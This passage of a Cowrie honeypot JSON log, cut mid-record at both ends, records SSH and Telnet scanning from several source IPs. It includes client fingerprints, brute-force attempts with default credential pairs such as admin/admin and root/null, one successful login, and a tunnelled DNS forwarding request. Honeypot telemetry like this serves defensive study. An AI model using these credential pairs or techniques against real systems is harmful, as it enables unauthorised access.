a-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:51.398982Z","src_ip":"45.153.34.114","session":"a412b9e9d1e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:51.684124Z","src_ip":"45.153.34.114","session":"a412b9e9d1e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:52.769266Z","src_ip":"45.153.34.114","session":"a412b9e9d1e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19008,"dst_ip":"10.17.0.5","dst_port":22,"session":"751e89463eed","protocol":"ssh","message":"New connection: 87.251.64.176:19008 (10.17.0.5:22) [session: 751e89463eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:54.655750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:54.660238Z","src_ip":"87.251.64.176","session":"751e89463eed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:54.756426Z","src_ip":"87.251.64.176","session":"751e89463eed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:55.046331Z","src_ip":"87.251.64.176","session":"751e89463eed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:55.211394Z","session":"751e89463eed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:55.309740Z","src_ip":"87.251.64.176","session":"751e89463eed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:55.409315Z","src_ip":"87.251.64.176","session":"751e89463eed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.217.121","src_port":51074,"dst_ip":"10.17.0.5","dst_port":23,"session":"09cb20a42781","protocol":"telnet","message":"New connection: 161.35.217.121:51074 (10.17.0.5:23) [session: 09cb20a42781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:58.420316Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46426,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f60a3279c87","protocol":"ssh","message":"New connection: 45.153.34.114:46426 (159.203.135.109:22) [session: 2f60a3279c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:59.559341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:59.564845Z","src_ip":"45.153.34.114","session":"2f60a3279c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:59.652040Z","src_ip":"45.153.34.114","session":"2f60a3279c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:59.913193Z","src_ip":"45.153.34.114","session":"2f60a3279c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:01.001834Z","src_ip":"45.153.34.114","session":"2f60a3279c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46440,"dst_ip":"159.203.135.109","dst_port":22,"session":"1123bae77686","protocol":"ssh","message":"New connection: 45.153.34.114:46440 (159.203.135.109:22) [session: 1123bae77686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:07.046725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:07.050974Z","src_ip":"45.153.34.114","session":"1123bae77686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:07.133887Z","src_ip":"45.153.34.114","session":"1123bae77686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:07.402111Z","src_ip":"45.153.34.114","session":"1123bae77686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:08.502077Z","src_ip":"45.153.34.114","session":"1123bae77686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":34960,"dst_ip":"10.17.0.5","dst_port":22,"session":"13208097eff9","protocol":"ssh","message":"New connection: 80.94.92.182:34960 (10.17.0.5:22) [session: 13208097eff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:08.547535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:08.646708Z","src_ip":"80.94.92.182","session":"13208097eff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:08.723210Z","src_ip":"80.94.92.182","session":"13208097eff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol@123","message":"login attempt [sol/sol@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:10.671137Z","src_ip":"80.94.92.182","session":"13208097eff9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":38044,"dst_ip":"159.203.135.109","dst_port":22,"session":"649f9ce42dbd","protocol":"ssh","message":"New connection: 103.75.199.4:38044 (159.203.135.109:22) [session: 649f9ce42dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:10.899953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:10.903678Z","src_ip":"103.75.199.4","session":"649f9ce42dbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:10.996985Z","src_ip":"103.75.199.4","session":"649f9ce42dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:11.267529Z","src_ip":"103.75.199.4","session":"649f9ce42dbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:11.896974Z","src_ip":"80.94.92.182","session":"13208097eff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:12.361151Z","src_ip":"103.75.199.4","session":"649f9ce42dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39672,"dst_ip":"159.203.135.109","dst_port":22,"session":"18b444221449","protocol":"ssh","message":"New connection: 45.153.34.114:39672 (159.203.135.109:22) [session: 18b444221449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:14.696897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:14.705644Z","src_ip":"45.153.34.114","session":"18b444221449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:14.790230Z","src_ip":"45.153.34.114","session":"18b444221449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:15.130675Z","src_ip":"45.153.34.114","session":"18b444221449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:16.219424Z","src_ip":"45.153.34.114","session":"18b444221449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51728,"dst_ip":"159.203.135.109","dst_port":22,"session":"af88034d5092","protocol":"ssh","message":"New connection: 45.153.34.114:51728 (159.203.135.109:22) [session: af88034d5092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:22.612594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:22.618308Z","src_ip":"45.153.34.114","session":"af88034d5092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:22.702973Z","src_ip":"45.153.34.114","session":"af88034d5092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:22.962003Z","src_ip":"45.153.34.114","session":"af88034d5092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:24.047811Z","src_ip":"45.153.34.114","session":"af88034d5092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.810537815093994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:29.230691Z","src_ip":"161.35.217.121","session":"09cb20a42781","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38854,"dst_ip":"159.203.135.109","dst_port":22,"session":"994d9baf8838","protocol":"ssh","message":"New connection: 45.153.34.114:38854 (159.203.135.109:22) [session: 994d9baf8838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:30.330969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:30.336655Z","src_ip":"45.153.34.114","session":"994d9baf8838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nist